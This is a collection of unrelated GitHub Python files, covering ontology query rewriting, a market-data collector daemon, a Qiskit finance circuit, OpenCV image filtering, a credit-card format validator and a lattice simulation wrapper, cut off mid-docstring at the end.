IMPLEMENTATION OF ALGORITHM: PERFECTREF\n# \n# This code is written by Anders Imenes\nfrom .engine.query_parser import parse_query\nfrom .engine.ontology_parser import import_ontology\nfrom .engine.iri_namespace import get_iri_and_namespace\nfrom .engine.atoms_obtained import get_axioms\nfrom .engine.perfectref_algorithm import perfectref\nfrom .engine.classes.atom import AtomConcept, AtomConstant, AtomRole\n\n\ndef get_entailed_queries(ontology, string, upperlimit = None, parse = True):\n\tonto = import_ontology(ontology)\n\ttbox = get_axioms(onto, True)\n\t\n\tif parse:\n\t\tq = parse_query(string)\n\t\tq_head = q.head\n\t\tq_body = q.body\n\t\t# get IRI and namespace\n\t\tget_iri_and_namespace(q,onto)\n\telse:\n\t\tq_head = string.get_head()\n\t\tq_body = string.get_body()\n\n\tPR = perfectref(q_body, tbox, upperlimit)\n\t\n\t#Exporting the results\n\t#export_query_to_file(PR, string, q_head)\n\tprint_query(PR, string, q_head)\n\treturn PR\n\ndef parse_output(unparsed_query, PR):\n\tqueries = {}\n\tqueries['original'] = unparsed_query\n\tqueries['entailed'] = []\n\tq = parse_query(unparsed_query)\n\tq_head = q.head\n\t\n\tfor cq in PR:\n\t\thead = q_head.name + \"(\" + q_head.var1.represented_name + \") :- \"\n\t\tbody = \"\"\n\n\t\tlength_of_q = len(cq.body)\n\t\tcounter = 0\n\n\t\tfor g in cq.body:\n\t\t\t\n\t\t\tif isinstance(g, AtomConstant):\n\t\t\t\tpass\n\t\t\telif isinstance(g, AtomConcept):\n\t\t\t\tbody += g.name + \"(\" + g.var1.represented_name + \")\"\n\t\t\telse:\n\t\t\t\tbody += g.name + \"(\" + g.var1.represented_name + \",\" + g.var2.original_entry_name + \")\"\n\n\t\t\tif (counter < length_of_q - 1):\n\t\t\t\tbody += \"^\"\n\n\t\t\tcounter += 1\n\t\tquery = head + body\n\t\tqueries[\"entailed\"].append(query)\n\treturn queries\n\ndef main():\n\t#Load Ontology\n\tpath = \"engine/ontologies/Test2.owl\"\n\n\t#Different queries for testing\n#\tquery_string = \"q(?x) :- Student(?x)\"\n#\tquery_string = \"q(?x) :- Student(?x)^Student(?x)^Student(?x)\"\n#\tquery_string = \"q(?x) :- Professor(?x)^teachesTo(?x, ?y)\"\n\tquery_string = \"q(?x) :- teachesTo(?x,?y)^hasTutor(?y,?_)\"\n\n\tPR = get_entailed_queries(path, query_string)\n\tprint(\"hey\")\n","repo_name":"AImenes/PerfectRef","sub_path":"perfectref.py","file_name":"perfectref.py","file_ext":"py","file_size_in_byte":2004,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"11567603152","text":"# ***********************************************************************\n# Import libraries\n# ***********************************************************************\n\nimport sys\nimport os\nimport logging\nimport time\nimport datetime\nimport schedule\nimport pandas as pd\n\nfrom google.cloud import storage\n\nfrom daemonBase import Daemon\n\nsys.path.append( os.path.abspath( '../' ) )\n\nimport utl.utils as utl\n\nfrom dat.assets import ETF_HASH, SUB_ETF_HASH, NEW_ETF_HASH, POP_ETF_HASH\nfrom dat.assets import OPTION_ETFS, PI_ETFS\nfrom dat.assets import INDEXES, PI_INDEXES\nfrom dat.assets import FUTURES\nfrom dat.assets import CRYPTOS\n\nGOOGLE_STORAGE_JSON = '/home/babak/opti-trade/daemons/keyfiles/google_storage.json'\nGOOGLE_BUCKET = 'prt-storage'\nGOOGLE_PREFIX = 'data-backtup'\n\n# ***********************************************************************\n# Set some parameters \n# ***********************************************************************\n\nETFS = list( ETF_HASH.keys() ) + list( ETF_HASH.values() ) +\\\n list( SUB_ETF_HASH.keys() ) + list( SUB_ETF_HASH.values() ) +\\\n list( NEW_ETF_HASH.keys() ) + list( NEW_ETF_HASH.values() ) +\\\n list( POP_ETF_HASH.keys() ) + list( POP_ETF_HASH.values() )\nETFS = list( set( ETFS ) )\n\nSTOCKS = []\n\nINDEXES = INDEXES + PI_INDEXES\nINDEXES = list( set( INDEXES ) )\n\nNUM_DAYS = 5\nSOURCE = 'yahoo'\nDAT_DIR = '/var/data'\nTIME_ZONE = 'America/New_York'\n\nMARKET_SCHED_TIMES = [ '01:00' ]\nCRYPTO_SCHED_TIMES = [ '02:00', '14:00' ]\n\nLOG_FILE_NAME = '/var/log/data_collector.log'\nVERBOSE = 1\n\nCHECK_SPLIT_DAYS = 14\n\nPID_FILE = '/var/run/data_collector.pid'\n\nDEV_LIST = [ 'babak.emami@gmail.com' ]\n\nDEBUG_MODE = False\n\nif DEBUG_MODE:\n SCHED_FLAG = False\nelse:\n SCHED_FLAG = True\n\n# ***********************************************************************\n# Class DataCollector: Daemon to collect and update intraday data\n# ***********************************************************************\n\nclass DataCollector( Daemon ):\n\n def __init__( self,\n etfs = ETFS,\n stocks = STOCKS,\n futures = FUTURES,\n indexes = INDEXES,\n cryptos = CRYPTOS,\n nDays = NUM_DAYS,\n datDir = DAT_DIR,\n source = SOURCE,\n timeZone = TIME_ZONE, \n logFileName = LOG_FILE_NAME,\n verbose = VERBOSE ):\n\n Daemon.__init__( self, PID_FILE )\n\n self.etfs = etfs\n self.stocks = stocks\n self.futures = futures\n self.indexes = indexes\n self.cryptos = cryptos\n self.nDays = nDays\n self.datDir = datDir\n self.source = source\n self.timeZone = timeZone\n self.logFileName = logFileName \n self.verbose = verbose\n\n if not os.path.exists( self.datDir ):\n os.makedirs( self.datDir ) \n \n self.logger = utl.getLogger( logFileName, verbose )\n\n devAlertHd = utl.getAlertHandler( alertLevel = logging.ERROR,\n subject = 'A message from data collector!',\n mailList = DEV_LIST )\n \n self.logger.addHandler( devAlertHd )\n \n if self.timeZone != 'America/New_York':\n self.logger.warning( 'Only America/New_York time zone is supported at this time!' )\n self.logger.warning( 'Switching to America/New_York time zone!' )\n self.timeZone = 'America/New_York'\n\n os.environ[ 'TZ' ] = self.timeZone\n \n self.logger.info( 'Daemon is initialized ...' ) \n\n def backupData( self, filePath ):\n\n self.logger.info( 'Backuping up %s on Google cloud...', filePath ) \n \n client = storage.Client.from_service_account_json( GOOGLE_STORAGE_JSON )\n bucket = client.get_bucket( GOOGLE_BUCKET )\n baseName = os.path.basename( filePath )\n tmpName = GOOGLE_PREFIX + '/' + baseName\n blob = bucket.blob( tmpName )\n \n with open( filePath, 'rb' ) as fHd:\n blob.upload_from_file( fHd )\n\n self.logger.info( '%s was saved to bucket!', tmpName )\n\n def reportSplit( self, df, symbol, nDays = CHECK_SPLIT_DAYS ):\n\n begDate = df.Date.max() - datetime.timedelta( days = nDays )\n\n df = df[ df.Date >= begDate ]\n \n df[ 'change' ] = df[ symbol ].pct_change()\n \n splitDf = df[ ( df.change <= -0.40 ) |\n ( df.change >= 0.90 ) ]\n\n dates = list( splitDf.Date )\n changes = list( splitDf.change )\n \n for itr in range( splitDf.shape[0] ):\n \n change = changes[itr]\n \n if change >= 0.90:\n self.logger.critical( 'Possible 1:%d reverse split detected for %s on %s!',\n round( 1 + change ),\n symbol,\n str( dates[itr] ) )\n elif change <= -0.40:\n self.logger.critical( 'Possible %d:1 split detected for %s on %s!',\n round( 1 / ( 1 + change ) ),\n symbol,\n str( dates[itr] ) )\n \n def updateData( self ):\n\n typeHash = {}\n\n for symbol in self.etfs:\n typeHash[ symbol ] = 'ETFs'\n\n for symbol in self.stocks:\n typeHash[ symbol ] = 'stocks'\n \n for symbol in self.futures:\n typeHash[ symbol ] = 'futures'\n\n for symbol in self.indexes:\n typeHash[ symbol ] = 'indexes' \n\n symbols = self.etfs +\\\n self.stocks +\\\n self.futures +\\\n self.indexes\n\n self.logger.info( 'Getting data for %d symbols...',\n len( symbols ) )\n \n for symbol in symbols:\n\n filePath = os.path.join( self.datDir, symbol + '.pkl' )\n \n oldDf = None\n if os.path.exists( filePath ):\n oldDf = pd.read_pickle( filePath )\n oldDf[ 'Date' ] = oldDf.Date.apply( pd.to_datetime )\n \n if self.source == 'kibot':\n if typeHash[ symbol ] == 'ETFs':\n newDf = utl.getKibotData( etfs = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n elif typeHash[ symbol ] == 'stocks':\n newDf = utl.getKibotData( stocks = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n elif typeHash[ symbol ] == 'futures':\n newDf = utl.getKibotData( futures = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n elif typeHash[ symbol ] == 'indexes': \n newDf = utl.getKibotData( indexes = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n else:\n self.logger.error( 'Unknow type %s for symbol %s',\n typeHash[ symbol ],\n symbol )\n elif self.source == 'yahoo':\n if typeHash[ symbol ] == 'ETFs':\n newDf = utl.getYahooData( etfs = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n elif typeHash[ symbol ] == 'stocks':\n newDf = utl.getYahooData( stocks = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n elif typeHash[ symbol ] == 'futures':\n newDf = utl.getYahooData( futures = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n elif typeHash[ symbol ] == 'indexes': \n newDf = utl.getYahooData( indexes = [ symbol ],\n nDays = self.nDays,\n logger = self.logger )\n else:\n self.logger.error( 'Unknow type %s for symbol %s',\n typeHash[ symbol ],\n symbol )\n else:\n self.logger.error( 'Unkown data source %s!', self.source )\n\n if newDf is None or newDf.shape[0] == 0:\n self.logger.error( 'No new data found for symbol %s!',\n symbol )\n continue\n \n if oldDf is not None:\n maxDt = oldDf.Date.max()\n newDf = newDf[ newDf.Date > maxDt ]\n newDf = pd.concat( [ oldDf, newDf ] )\n\n newDf = newDf.sort_values( 'Date' )\n\n self.logger.info( 'Saving data to %s...', filePath )\n \n newDf.to_pickle( filePath, protocol = 4 )\n\n self.reportSplit( newDf, symbol )\n\n try:\n self.backupData( filePath )\n except Exception as e:\n self.logger.warning( e )\n\n self.logger.critical(\n 'Done with getting data for %d market symbols...',\n len( symbols )\n )\n \n return True\n\n def updateCryptoData( self ):\n\n for symbol in self.cryptos:\n\n filePath = os.path.join( self.datDir, symbol + '.pkl' )\n \n oldDf = None\n if os.path.exists( filePath ):\n oldDf = pd.read_pickle( filePath )\n oldDf[ 'Date' ] = oldDf.Date.apply( pd.to_datetime )\n \n newDf = utl.getCryptoCompareData(\n [ symbol ],\n logger = self.logger\n )\n\n if newDf is None or newDf.shape[0] == 0:\n self.logger.error( 'No new data found for symbol %s!',\n symbol )\n continue\n \n if oldDf is not None:\n maxDt = oldDf.Date.max()\n newDf = newDf[ newDf.Date > maxDt ]\n newDf = pd.concat( [ oldDf, newDf ] )\n\n newDf = newDf.sort_values( 'Date' )\n\n self.logger.info( 'Saving data to %s...', filePath )\n \n newDf.to_pickle( filePath, protocol = 4 )\n\n self.reportSplit( newDf, symbol )\n\n try:\n self.backupData( filePath )\n except Exception as e:\n self.logger.warning( e )\n\n self.logger.critical(\n 'Done with getting data for %d crypto symbols...',\n len( self.cryptos )\n )\n \n return True \n\n def process( self ):\n\n try:\n self.updateData()\n except Exception as e:\n self.logger.error( e )\n\n def processCrypto( self ):\n\n try:\n self.updateCryptoData()\n except Exception as e:\n self.logger.error( e )\n \n def run( self ):\n\n os.environ[ 'TZ' ] = self.timeZone\n\n if not SCHED_FLAG:\n self.process()\n self.processCrypto()\n else:\n for schedTime in MARKET_SCHED_TIMES:\n schedule.every().day.at( schedTime ).do(\n self.process\n )\n for schedTime in CRYPTO_SCHED_TIMES:\n schedule.every().day.at( schedTime ).do(\n self.processCrypto\n ) \n \n while True: \n schedule.run_pending() \n time.sleep( 60 )\n \n# ***********************************************************************\n# Run daemon\n# ***********************************************************************\n\nif __name__ == '__main__':\n\n daemon = DataCollector()\n\n if len(sys.argv) == 2:\n if 'start' == sys.argv[1]:\n daemon.start()\n elif 'stop' == sys.argv[1]:\n daemon.stop()\n elif 'restart' == sys.argv[1]:\n daemon.restart()\n else:\n print( 'Unknown command' )\n sys.exit(2)\n sys.exit(0)\n else:\n print( 'usage: %s start|stop|restart' % sys.argv[0] )\n sys.exit(2)\n\n\n","repo_name":"babakopti/opti-trade","sub_path":"daemons/dataDaemon.py","file_name":"dataDaemon.py","file_ext":"py","file_size_in_byte":13053,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"32863077005","text":"from qiskit.aqua.components.uncertainty_problems import UncertaintyProblem\nfrom qiskit.aqua.utils.circuit_utils import cry\nimport numpy as np\n\n\nclass FixedIncomeExpectedValue(UncertaintyProblem):\n \"\"\"\n The Fixed Income Expected Value.\n\n Evaluates a fixed income asset with uncertain interest rates.\n \"\"\"\n\n def __init__(self, uncertainty_model, A, b, cash_flow, c_approx, i_state=None, i_objective=None):\n \"\"\"\n Constructor.\n\n Args:\n uncertainty_model: multivariate distribution\n A: PCA matrix for delta_r (changes in interest rates)\n b: offset for interest rates (= initial interest rates)\n cash_flow: cash flow time series\n c_approx: approximation scaling factor\n \"\"\"\n\n if i_state is None:\n i_state = list(range(uncertainty_model.num_target_qubits))\n if i_objective is None:\n i_objective = uncertainty_model.num_target_qubits\n\n self._params = {\n 'i_state': i_state,\n 'i_objective': i_objective\n }\n\n # get number of time steps\n self.T = len(cash_flow)\n\n # get dimension of uncertain model\n self.K = uncertainty_model.dimension\n\n # get total number of target qubits\n num_target_qubits = 1 + uncertainty_model.num_target_qubits\n\n # initialize parent class\n super().__init__(num_target_qubits)\n\n self.uncertainty_model = uncertainty_model\n self.cash_flow = cash_flow\n self.c_approx = c_approx\n self.A = A\n self.b = b\n\n # construct PCA-based cost function (1st order approximation):\n # c_t / (1 + A_t x + b_t)^{t+1} ~ c_t / (1 + b_t)^{t+1} - (t+1) c_t A_t / (1 + b_t)^{t+2} x = h + np.dot(g, x)\n self.h = 0\n self.g = np.zeros(self.K)\n for t in range(self.T):\n self.h += cash_flow[t] / pow(1 + b[t], (t+1))\n self.g += -1.0 * (t+1) * cash_flow[t] * A[t, :] / pow(1 + b[t], (t+2))\n\n # compute overall offset using lower bound for x (corresponding to x = min)\n self.offset = np.dot(uncertainty_model.low, self.g) + self.h\n\n # compute overall slope\n self.slope = np.zeros(uncertainty_model.num_target_qubits)\n index = 0\n for k in range(self.K):\n nk = uncertainty_model.num_qubits[k]\n for i in range(nk):\n self.slope[index] = pow(2.0, i) / (pow(2.0, nk) - 1) * (uncertainty_model.high[k] - uncertainty_model.low[k]) * self.g[k]\n index += 1\n\n # evaluate min and max values\n # for scaling to [0, 1] is then given by (V - min) / (max - min)\n self.min_value = self.offset + sum(self.slope)\n self.max_value = self.offset\n\n # reset offset / slope accordingly\n self.offset -= self.min_value\n self.offset /= (self.max_value - self.min_value)\n self.slope /= (self.max_value - self.min_value)\n\n # apply approximation scaling\n self.offset_angle = (self.offset - 1/2) * np.pi/2 * self.c_approx + np.pi/4\n self.slope_angle = self.slope * np.pi/2 * self.c_approx\n\n def value_to_estimation(self, value):\n estimator = value - 1/2\n estimator *= 2 / np.pi / self.c_approx\n estimator += 1/2\n estimator *= (self.max_value - self.min_value)\n estimator += self.min_value\n return estimator\n\n def required_ancillas(self):\n return 0\n\n def required_ancillas_controlled(self):\n return self.uncertainty_model.required_ancillas_controlled()\n\n def build(self, qc, q, q_ancillas=None, params=None):\n\n if params is None:\n params = self._params\n\n # get qubits\n q_objective = q[params['i_objective']]\n\n # apply uncertainty model\n self.uncertainty_model.build(qc, q, q_ancillas, params)\n\n # apply approximate payoff function\n qc.ry(2 * self.offset_angle, q_objective)\n for i in params['i_state']:\n cry(2 * self.slope_angle[i], q[i], q_objective, qc)\n","repo_name":"epiqc/PartialCompilation","sub_path":"qiskit-aqua/qiskit/aqua/components/uncertainty_problems/fixed_income_expected_value.py","file_name":"fixed_income_expected_value.py","file_ext":"py","file_size_in_byte":4040,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"31"} +{"seq_id":"9983308907","text":"'''\nTester para el Trabajo practico 3. Kuhn 2016\nDescripcion: Este programa genera una archivo con un numero aleatoreo de operaciones aleatoreas de precision aleatorea.\nAutor: Patricio Tula\n'''\nimport random\n\n#Nombre de los archivos de entrada y salida\nOPERATIONS = 'big.in'\nRESULTS = 'big.out'\n\n#Constantes para ajustar los archivos de salida\nMAX_OPS = 1000 #Numero maximo de operaciones\nMIN_PREC = 20 #Precision minima\nMAX_PREC = 100 #Precision maxima\n\nOPS = ['+', '*', '-']\n\ndef rand_int(n_digits):\n\tn = random.randint(1, 10**n_digits - 1)\n\treturn -n if random.randint(0,1) > 0 else n\n\ndef eval_op(o1, o2, op):\n\tif op == '+':\n\t\treturn o1 + o2\n\tif op == '*':\n\t\treturn o1 * o2\n\tif op == '-':\n\t\treturn o1 - o2\n\nif __name__ == '__main__':\n\tprec = random.randint(MIN_PREC, MAX_PREC)\n\t# print 'Using precision = %d' % prec\n\twith open(OPERATIONS, 'w') as f:\n\t\twith open(RESULTS, 'w') as w:\n\t\t\tn = random.randint(1, MAX_OPS)\n\t\t\tfor _ in range(n):\n\t\t\t\to1 = rand_int(prec)\n\t\t\t\to2 = rand_int(prec)\n\t\t\t\top = random.choice(OPS)\n\t\t\t\tline = '%d%s%d\\n' % (o1, op, o2)\n\t\t\t\toutline = '%d\\n' % eval_op(o1,o2,op)\n\t\t\t\tf.write(line)\n\t\t\t\tw.write(outline)\n\tw.close()\n\tf.close()","repo_name":"jym272/AlgoritmosII","sub_path":"TP0/randop.py","file_name":"randop.py","file_ext":"py","file_size_in_byte":1156,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"21469097802","text":"#!/usr/bin/env python\n#-*- encoding:Utf-8 -*-\nfrom pip._vendor.distlib.compat import raw_input\nfrom os.path import os\nprint(\"test\");\n'''str=raw_input(\"请输���:\");print(\"你输入的内容是:\",str);\nstr1=input(\"请输入\");print(\"我输入的内容是:\",str1);'''\nfo=open(\"ai.py\", \"r\", 1, \"utf-8\");\n#open(file, mode, buffering, encoding, errors, newline, closefd, opener)\nprint(\"这个文件的文件名称是:\",fo.mode);\n\nfo1=open(\"testFile.py\",\"wb+\");\nfo1.close();\nfo2=open(\"testFile.py\",\"wb\");\nfo2.close();\nfo3=open(\"ai.py\",\"a+\",1,\"utf-8\");\nfo3.write(\"我是追加的数据啊\");#把数据追加到文件末尾\nstr=fo3.read(1);position=fo3.tell();print(\"我读取到的文件内容是个字符串是\",str);\nprint(\"当前文件位置:\",position);position=fo3.seek(0,0);newStr=fo3.read(10);print(\"把文件指针重新定义到开头:\",position);\n# print(fo1.name,fo2.name);os.rename(\"ai.py\",\"buai.py\");\nprint(\"我新读到文件内容是:\",newStr);\n#os.remove(\"C:\\\\Users\\\\Administrator\\\\Desktop\\\\test.txt\");\nprint(fo3.name);print(os.getcwd());\nfo3.close();","repo_name":"zhongsangyang/PythonSimpleTest","sub_path":"testPython/com/ht/function/io.py","file_name":"io.py","file_ext":"py","file_size_in_byte":1066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"34780374591","text":"#!/usr/bin/python2.7\n# encoding: utf-8\n\nfrom __future__ import division\n\nimport cv2\nimport skvideo.io\nimport numpy as np\n\n# def color_detection(rgb, colorBounds=([180, 69, 0], [240, 200, 240]), debug=False):\n# \"\"\"\n# Detects given colors and produces grey mask accordingly\n# :param rgb: RGB frame\n# :param colorBounds: detection's color bounds, (low, high) = ([r,g,b], [R,G,B])\n# :return: grey scale image\n# \"\"\"\n# # Color detection\n# lower = np.array(colorBounds[0], dtype=\"uint8\")\n# upper = np.array(colorBounds[1], dtype=\"uint8\")\n# greyMask = cv2.inRange(rgb, lower, upper)\n# if debug:\n# cv2.namedWindow('color detection', cv2.WINDOW_NORMAL)\n# cv2.resizeWindow('color detection', 1200, 1200)\n# cv2.imshow('color detection', greyMask)\n#\n# return greyMask\n\ndef color_detection(frame, colorBounds=([180, 69, 0], [240, 200, 240]), debug=False):\n \"\"\"\n Detects given colors and produces grey mask accordingly\n :param frame: BGR frame\n :param colorBounds: detection's color bounds, (low, high) = ([h,s,v], [H,S,V])\n :return: grey scale image\n \"\"\"\n # Conversion RGB to HSV\n hsv = cv2.cvtColor(frame, cv2.COLOR_BGR2HSV)\n # define range of detected color in HSV\n lower_color = np.array(colorBounds[0], dtype = \"uint8\")\n upper_color = np.array(colorBounds[1], dtype = \"uint8\")\n # Threshold the HSV image to get only specified colors\n greyMask = cv2.inRange(hsv, lower_color, upper_color)\n # Dilate mask\n greyMask = cv2.dilate(greyMask, None, iterations=2)\n\n if debug:\n cv2.namedWindow('color detection', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('color detection', 1200, 1200)\n cv2.imshow('color detection', greyMask)\n\n return greyMask\n\n# Version 1\n# def white_patches_masking(frame, whiteBounds = ([235, 235, 235], [255, 255, 255]),\n# dilatationKernelSize=301, debug=False):\n# \"\"\"\n# Detection white colored pixels, dilates them and returns resulting grey scale mask\n# :param frame: HSV frame\n# :param whiteBounds: bounds of the color white, (low, high) = ([r,g,b], [R,G,B])\n# :param dilatationKernel: dilatation kernel, (nb x pixels, nb y pixels)\n# :return: grey scale frame masking out white patches\n# \"\"\"\n# dilatationKernel = np.ones((dilatationKernelSize, dilatationKernelSize))\n# maskWhite = color_detection(frame, colorBounds=whiteBounds)\n# # Dilate white patches\n# dilatedMaskWhite = cv2.bitwise_not(cv2.dilate(maskWhite, dilatationKernel))\n# # Check patches size and make sure that they are bigger than dilatation kernel (due to chaos white pixels)\n# # They look like kernel sized squares\n# circularity = 0.785 # circularity for a square\n# minPixel = dilatationKernel.size # single dilated white pixel\n# maxPixel = np.round(minPixel * 1.2)\n# keypoints = blob_detector(dilatedMaskWhite, minPixel, maxPixel, circularity)\n# # setting black square to white\n# for kp in keypoints:\n# i = int(np.round(kp.pt[1]))\n# j = int(np.round(kp.pt[0]))\n# interval = int(np.round(np.round(dilatationKernelSize * 1.1 / 2.0))) # interval = half kernel + 10%\n# dilatedMaskWhite[(i - interval):(i + interval), (j - interval):(j + interval)] = 255\n# if debug:\n# cv2.namedWindow('white detection', cv2.WINDOW_NORMAL)\n# cv2.resizeWindow('white detection', 1200, 1200)\n# cv2.namedWindow('white patches dilatation', cv2.WINDOW_NORMAL)\n# cv2.resizeWindow('white patches dilatation', 1200, 1200)\n# cv2.imshow('white detection', maskWhite)\n# im_with_keypoints = cv2.drawKeypoints(dilatedMaskWhite, keypoints, np.array([]), (0, 0, 255),\n# cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n# cv2.imshow('white patches dilatation', im_with_keypoints)\n#\n# return dilatedMaskWhite\n\n\n## Version 2\ndef white_patches_masking(frame, whiteBounds = ([0, 0, 225], [10, 30, 255]), debug=False):\n \"\"\"\n Detection white colored pixels, dilates them and returns resulting grey scale mask\n :param frame: BGR frame\n :param whiteBounds: bounds of the color white, (low, high) = ([r,g,b], [R,G,B])\n :param dilatationKernel: dilatation kernel, (nb x pixels, nb y pixels)\n :return: grey scale frame masking out white patches\n \"\"\"\n maskWhite = color_detection(frame, colorBounds=whiteBounds)\n # Dilate and blur white patches\n maskWhite = cv2.dilate(maskWhite, None, iterations=2)\n maskWhite = cv2.GaussianBlur(maskWhite, (51, 51), 0)\n # find contours\n cnts = cv2.findContours(maskWhite.copy(), cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_SIMPLE)[-2]\n # Fill contours with white\n cv2.drawContours(maskWhite, cnts, -1, (255, 255, 255), thickness=-1)\n # Invert mask\n maskWhite = 255 - maskWhite\n\n if debug:\n cv2.namedWindow('white detection', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('white detection', 1200, 1200)\n cv2.imshow('white detection', maskWhite)\n\n return maskWhite\n\n# TODO: not working\ndef disk_filtering(rgb, minPixel, maxPixel, debug=False):\n \"\"\"\n Detects disk/circle and masks the rest\n\n :param rgb: RGB frame\n :param minPixel: minimum pixel size of the disks\n :param maxPixel: maximum pixel size of the disks\n :return: grey mask where disks are white squares and the rest is black\n \"\"\"\n # detect white shades\n inverseGrey = cv2.cvtColor(cv2.bitwise_not(rgb), cv2.COLOR_RGB2GRAY)\n circularity = 1.0 # = circle\n keypoints = blob_detector(inverseGrey, minPixel, maxPixel, circularity)\n # setting disks to white squares and rest to black\n diskMask = inverseGrey.copy()\n diskMask[:] = 0\n for kp in keypoints:\n i = int(np.round(kp.pt[1]))\n j = int(np.round(kp.pt[0]))\n diskMask = cv2.circle(diskMask, (i, j), 10, 255, -1)\n if debug:\n cv2.namedWindow('disk filtering', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('disk filtering', 1200, 1200)\n cv2.imshow('disk filtering', diskMask)\n\n return diskMask\n\ndef circle_detection(rgb, minArea=10, maxArea=30, minVertices=6, maxVertices=10, debug=False):\n \"\"\"\n Detects circle of given pixel size range\n :param rgb: RGB frame\n :param minArea: minimum circles' pixel size\n :param maxArea: maximum circles' pixel size\n :param minVertices: minimum circles' vertex number\n :param maxVertices: maximum circles' vertex number\n :return: grey mask where circles are white squares and the rest is black\n \"\"\"\n\n # ref. http://layer0.authentise.com/detecting-circular-shapes-using-contours.html\n\n # ENhanced edges\n bilateral_filtered_image = cv2.bilateralFilter(rgb, 5, 175, 175)\n # Detect edges\n edge_detected_image = cv2.Canny(bilateral_filtered_image, 75, 200)\n # Find contours\n _, contours, _= cv2.findContours(edge_detected_image, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n # Filter contours\n contour_list = []\n for contour in contours:\n approx = cv2.approxPolyDP(contour,0.01*cv2.arcLength(contour,True),True)\n area = cv2.contourArea(contour)\n if (((area > minArea) & (area < maxArea)) &\n ((len(approx) > minVertices) & (len(approx) < maxVertices))):\n contour_list.append(contour)\n # Create filter\n circleMask = cv2.drawContours(np.zeros(rgb.shape[:2]),contour_list,\n -1, 255, int(np.sqrt(maxArea)))\n\n if debug:\n cv2.namedWindow('circle detection', cv2.WINDOW_NORMAL)\n cv2.resizeWindow('circle detection', 1200, 1200)\n rgbCircles = cv2.drawContours(rgb.copy(), contour_list, -1, (255,0,0), 2)\n cv2.imshow('circle detection', rgbCircles)\n\n return circleMask\n\ndef blob_detector(gray, minPixel, maxPixel, circularity, debug=False):\n \"\"\"\n Detects blobs of given size and circularity\n :param gray:\n :param minPixel:\n :param maxPixel:\n :param circularity:\n :param debug:\n :return:\n \"\"\"\n\n # ref. https://www.learnopencv.com/blob-detection-using-opencv-python-c/\n # Setup SimpleBlobDetector parameters.\n params = cv2.SimpleBlobDetector_Params()\n\n # # Change thresholds\n # params.minThreshold = 10\n # params.maxThreshold = 200\n\n # Filter by Area.\n params.filterByArea = True\n params.minArea = minPixel\n params.maxArea = maxPixel\n\n # Filter by Circularity\n params.filterByCircularity = True\n params.minCircularity = circularity\n\n # # Filter by Convexity\n # params.filterByConvexity = True\n # params.minConvexity = 0.87\n #\n # # Filter by Inertia\n # params.filterByInertia = True\n # params.minInertiaRatio = 0.01\n\n # Create a detector with the parameters\n ver = (cv2.__version__).split('.')\n if int(ver[0]) < 3:\n detector = cv2.SimpleBlobDetector(params)\n else:\n detector = cv2.SimpleBlobDetector_create(params)\n\n # Detect blobs.\n keypoints = detector.detect(gray)\n\n # # Draw detected blobs as red circles.\n # # cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS ensures\n # # the size of the circle corresponds to the size of blob\n #\n # im_with_keypoints = cv2.drawKeypoints(gray, keypoints, np.array([]), (0, 0, 255),\n # cv2.DRAW_MATCHES_FLAGS_DRAW_RICH_KEYPOINTS)\n #\n # # Show blobs\n # cv2.imshow(\"Keypoints\", im_with_keypoints)\n # cv2.waitKey(0)\n\n return keypoints","repo_name":"theelectricbrain/Drones-Drifters","sub_path":"drones_n_drifters/imgprocess/image_filtering.py","file_name":"image_filtering.py","file_ext":"py","file_size_in_byte":9449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"31"} +{"seq_id":"5839038411","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed Sep 11 22:12:23 2019\n\n@author: aquib\n\"\"\"\n\n# Enter your code here. Read input from STDIN. Print output to STDOUT\nimport re\n\nvalid_structure = r\"[456]\\d{3}(-?\\d{4}){3}$\"\nno_four_repeats = r\"((\\d)-?(?!(-?\\2){3})){16}\"\nfilters=valid_structure, no_four_repeats\noutput=[]\nnum_cc=int(input())\nfor _ in range(num_cc):\n cc=input()\n if all(re.match(f, cc) for f in filters):\n output.append(\"Valid\")\n else:\n output.append(\"Invalid\")\nfor o in output:\n print(o)\n","repo_name":"aquibjamal/hackerrank_solutions","sub_path":"valid_credit_card_numbers.py","file_name":"valid_credit_card_numbers.py","file_ext":"py","file_size_in_byte":541,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"31"} +{"seq_id":"36168820776","text":"\"\"\"\nWrapper for BKZ simulation code. It allows simulation caching to disk,\nand deals with the appropriate calls to experiments.py\n\"\"\"\n\n\nfrom sage.all import load, save\nfrom experiments import singleThreadExperiment\n\n\ntry:\n already_simulated = load(\"already_simulated.sobj\")\nexcept:\n pass\ntry:\n _ = already_simulated is None\nexcept NameError:\n already_simulated = {}\n\n\ndef get_simulation(n, sd, q, m, beta, tours, nu=1, cache=True, float_type=\"d\",\n precision=None, simulate_also_lll=False, simulator=\"CN11\",\n prng_seed=0xdeadbeef):\n \"\"\"Returns a simulation of a BKZ-β reduced basis for an LWE [BG14b] embedding\n lattice, using FPYLLL's implementation of [CN11]. It will attempt to load an\n already cached simulation first. If `cache` is set to true, it will also cache\n any uncached returned simulations.\n\n :param n: LWE secret dimension\n :param sd: LWE {error, secret} standard dedviation\n :param q: LWE module\n :param m: number of LWE samples\n :param beta: block size\n 